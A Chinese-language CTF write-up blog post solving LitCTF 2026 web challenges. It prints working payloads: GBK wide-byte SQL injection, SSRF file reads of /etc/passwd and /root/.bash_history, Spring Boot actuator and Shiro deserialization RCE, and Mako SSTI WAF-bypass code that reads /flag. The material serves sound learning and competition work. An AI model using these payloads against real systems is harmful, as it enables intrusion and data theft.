2026 LitCTF

2026 LitCTF

lit_ezsql

sql注入的基本思路:

1、查找注入点

2、判断是字符型还是整型注入

3、如果是字符型,找到正确闭合方式 ' " ') ")

4、判断查询列数 group by,order by

5、查询回显位置 ?id=-1

1.注入点类型

image-20260523135223409

点击查询后多了一个?id=的参数 确定注入点

接下来判断是整型还是字符型

?id=1
## 1	alice	visitor	none	none

?id=2
## 2	bob		visitor	none	none

?id=2-1
## 2	bob		visitor	none	none

id=2id=2-1的回显相同 没有直接进行运算 说明是字符型 考虑闭合

2.GBK宽字节注入

image-20260523140225124

先丢到dousql里扫了一遍 以为是'单引号闭合

?id=1' or 1=1--+
?id=1' or 1=2--+

但是不管闭合之后是什么 回显都是id=1的内容 所以应该没有成功闭合

问问ai 字符型还有哪些闭合方法 给了一个宽字节注入的方法

因为PHP函数addslashes() 会在'"\前自动加反斜杠\转义 当成单纯的字符串输入 所以导致闭合失败

由于服务器连接MYSQL使用GBK编码:

  1. 当传入%bf%27¿' )时 addslashes()函数会在'前添加反斜杠 变成¿\' url编码%bf%5c%27
  2. GBK 编码中 %bf%5c 组合成一个汉字
  3. 剩下的%27被释放未转义 所以成功闭合
?id=1%bf%5c%27 or 1=1--+

image-20260523142727141

回显了两行的内容 说明闭合成功

3.union联合注入(真不知道这小标题该写啥了)

先判断表格列数

?id=1%bf%5c%27 order by 5--+

有五位 再看回显位置

?id=1%bf%5c%27 union select 1,2,3,4,5--+

每一位都有回显 随便挑一个位置 公式化注入 详细看SQL注入(不定时更新) - aax小能 - 博客园

?id=1%bf%5c%27 union select 1,2,3,4,database()--+
?id=1%bf%5c%27 union select 1,2,3,4,table_name from Information_schema.tables where table_schema=database()--+
?id=1%bf%5c%27 union select 1,2,3,4,column_name from Information_schema.columns where table_schema=database()--+
?id=1%bf%5c%27 union select 1,2,3,4,flag from flag_store--+

image-20260523143940759

法二:sqlmap

--tamper=unmagicquotes:核心脚本,专治 magic_quotes_gpc=on / addslashes() 场景

python sqlmap.py -u http://challenge.cyclens.tech:30937/query?id=1 --tamper=unmagicquotes --batch

image-20260523145019810

Northbridge Document Hub

1.源码泄露

查看源码发现配置文件/assets/js/portal.js

image-20260523144656227

可以让ai辅助审计 这里被注释掉的researcher:Research#2026 就是登录的账号密码

fileGateway: {
        path: "/kkfileview/getCorsFile", // 文件预览服务接口路径
        queryKey: "urlPath",             // 传递文件路径的参数名
        node: "legacy-parse-02"          // 网关节点标识
    }

这里泄露了文件网关路径:/kkfileview/getCorsFile?urlPath=

2.SSRF

这里插一个点:

直接调用ssrf读文件的话会返回400 其中可以看到是tomcat服务器

image-20260524225853125

开发者编写的web应用代码通常会存放在war包里 在tomcat服务器里 war包的存放位置是/usr/local/tomcat/webapps/*.war

ai先猜测war包的文件名是ROOT.war 再通过ssrf读取 /usr/local/tomcat/webapps/ROOT.war 但是直接读取还是400 要进行base64编码

/kkfileview/getCorsFile?urlPath=L3Vzci9sb2NhbC90b21jYXQvd2ViYXBwcy9ST09ULndhcg==

解压后反编译关键类KkParserServlet.java

public Path resolve(String encodedSource) {
    // 1. Base64 解码
    String decoded = new String(Base64.getDecoder().decode(encodedSource), UTF_8);
    // 2. 替换反斜杠
    String replaced = decoded.replace("\\", "/");
    // 3. 去掉查询字符串
    int queryIdx = replaced.indexOf('?');
    if (queryIdx >= 0) replaced = replaced.substring(0, queryIdx);
    // 4. 去掉 file:// 前缀
    if (replaced.startsWith("file://")) {
        replaced = replaced.substring("file://".length());
    }
    // 5. 标准化路径
    Path normalized = Paths.get(replaced).normalize();
    // 6. 如果路径包含缓存目录前缀则保留,否则解析到缓存目录
    if (!normalized.toString().contains("/opt/kkfileview/cache/")) {
        normalized = Paths.get("/opt/kkfileview/cache/parsed").resolve(normalized).normalize();
    }
    return normalized;
}

关键漏洞: 如果 path 是绝对路径(以 / 开头), Paths.get(cacheRoot).resolve(path) 在 Java中会直接返回绝对路径本身,从而实现任意文件读取。(咱也看不懂啊 反正他说是就是吧)

如果在不知道源码 黑盒的情况下:

先读取/etc/passwd看看是否存在ssrf

file:///etc/passwd

但是直接读返回400 再试试其他编码进行绕过 用base64编码后可以直接下载文件

?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

但是passwd好像没有什么有用的东西 flag也不在根目录 不能直接读取

3.获取Bash记录

.bash_history 是 Linux/Unix 系统中 Bash Shell 的历史命令记录文件,它会自动保存用户终端执行过的命令。在渗透测试和 CTF 中,它是信息收集阶段的高价值目标

默认路径:/root/.bash_history(root 用户)或 /home/用户名/.bash_history(普通用户)

file:///root/.bash_history

获取bash记录 查看历史命令

cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

最后一条命令将一个zip压缩包复制到了/tmp

读取zip文件

file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

解压后得到flag

华辰企业服务运营平台

法一

算是非预期解了

打开靶机点击进入系统 说明了用户名为user 爆破密码为user123

进入后可以先看到审计中心有后面半段flag

image-20260525234646851

然后插件中出现了/api/*的路径

image-20260525234739736

spring boot的特征:

类别 典型路径 特征说明 识别方法
默认错误处理 /error 访问不存在的路径时,默认由 BasicErrorController 接管。返回 HTML 含 Whitelabel Error Page,或 JSON 固定结构 {"timestamp":"...","status":404,"error":"Not Found","path":"/xxx"} curl http://target/nonexistent_path_123
Actuator 管理端点 /actuator/*(2.x) /health/env(1.x) 运维监控端点。2.x 默认仅开放 /actuator/health/actuator/info,但 CTF 或配置不当会暴露 /actuator/env/actuator/beans/actuator/mappings curl http://target/actuator → 返回端点列表 JSON
静态资源映射 /favicon.ico /webjars/** /static/** 默认从 classpath:/static//public//resources//META-INF/resources/ 加载。/webjars/ 用于前端库依赖管理 curl -I http://target/favicon.ico → 200 且非自定义图标
API 约定路径 /api/**/v1/**/v2/** 无强制规范,但 Spring 生态习惯使用 RESTful 风格。若集成 Swagger/SpringDoc,会暴露 /swagger-ui.html/v3/api-docs/doc.html 访问 /v3/api-docs 或搜索前端 JS 中的 /api/ 前缀
默认上下文路径 /(根路径) 未配置 server.servlet.context-path 时,所有路径直接挂载在根。若配置了如 app,则所有路径变为 /app/actuator/app/error 观察登录页或静态资源是否带统一前缀

“先看 /error 找 Whitelabel,再探 /actuator 看端点,/favicon 试静态,/v3/api-docs 查文档。路径带 /api 是业务,末尾无后缀是默认。”

/error中有Whitelabel 确定是spring boot框架

image-20260525235039774

用springboot-scan扫描

>> SpringBoot-Scan.exe -u http://challenge.cyclens.tech:32248/

image-20260525235352640

其中配置文件env可以直接访问 打开http://challenge.cyclens.tech:32248/actuator/env搜索得到flag

法二

官方题解(哇这么做的话有点难诶)

上面/actuator还暴露了/actuator/heapdump端口

/heapdump 是 Spring Boot Actuator 提供的一个运维诊断端点,用于实时导出当前 JVM 进程的堆内存快照(默认返回 .hprof 格式的二进制文件)。

访问/actuator/heapdump下载文件 用heapdump_tools解析

image-20260526152546051

得到shiro的密钥 用shiro反序列化工具

image-20260526153355283

存在漏洞 然后rce

>> ls
app.jar
-----------------------------------------------------------------------
>> ls ../
app
java
-----------------------------------------------------------------------
>> ls ../../
bin
boot
__cacert_entrypoint.sh
dev
etc
flag_part1.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

image-20260526153506209

得到第一部分flag

然后回到登录系统 爆破出密码user123

登录后 用插件看到接口/api/admin/audit/list 打开得到第二部分flag

lit_ezssti

不是说工具一把梭吗(???)

ssti先测试jinjia2模板{{}}{%%} 都会直接回显没进行运算

接着测试mako模板 ${7*7}回显WAF <% 7*7 %>没有回显 说明被执行

${}:输出变量

<% %>:执行python代码

探测waf:

输入: <% print(7*7) %>          → 回显: (空)      # 代码执行,但print输出不捕获
输入: <% from os import system %> → 回显: (空)     # 导包成功
输入: <% x = 1 %>                → 回显: WAF      # = 被封锁
输入: <% os.system("id") %>      → 回显: WAF      # . 被封锁
输入: <% "flag" %>               → 回显: WAF      # flag 被封锁
输入: <% [] %>                   → 回显: WAF      # [] 被封锁

通过抛出异常泄露运行环境变量:

<% exec('raise Exception(str(dir()))') %>

image-20260527083043569

变量 作用
__M_writer Mako 内部输出函数,必须用它才可以看到回显
context Mako 运行时上下文对象
exec Python 内置执行函数,执行括号中的代码

尝试读取环境变量:

<% exec("from os import environ; __M_writer(str(environ))") %>

成功回显 然后调用listdir读取目录文件

<% exec("from os import listdir; __M_writer(str(listdir('/')))") %>

image-20260527085211990

在根目录下存在flag文件 但是flag关键字被waf拦截 用iscc区域赛的思路 chr动态拼接出/flag

<% exec("__M_writer(getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)), 'read')())") %>

getattr(obj,name):替代obj.name 避免出现点号

eg. getattr(f,'read)() = f.read()

image-20260527085458539

posted @ 2026-05-27 09:00  aax小能  阅读(29)  评论(0)    收藏  举报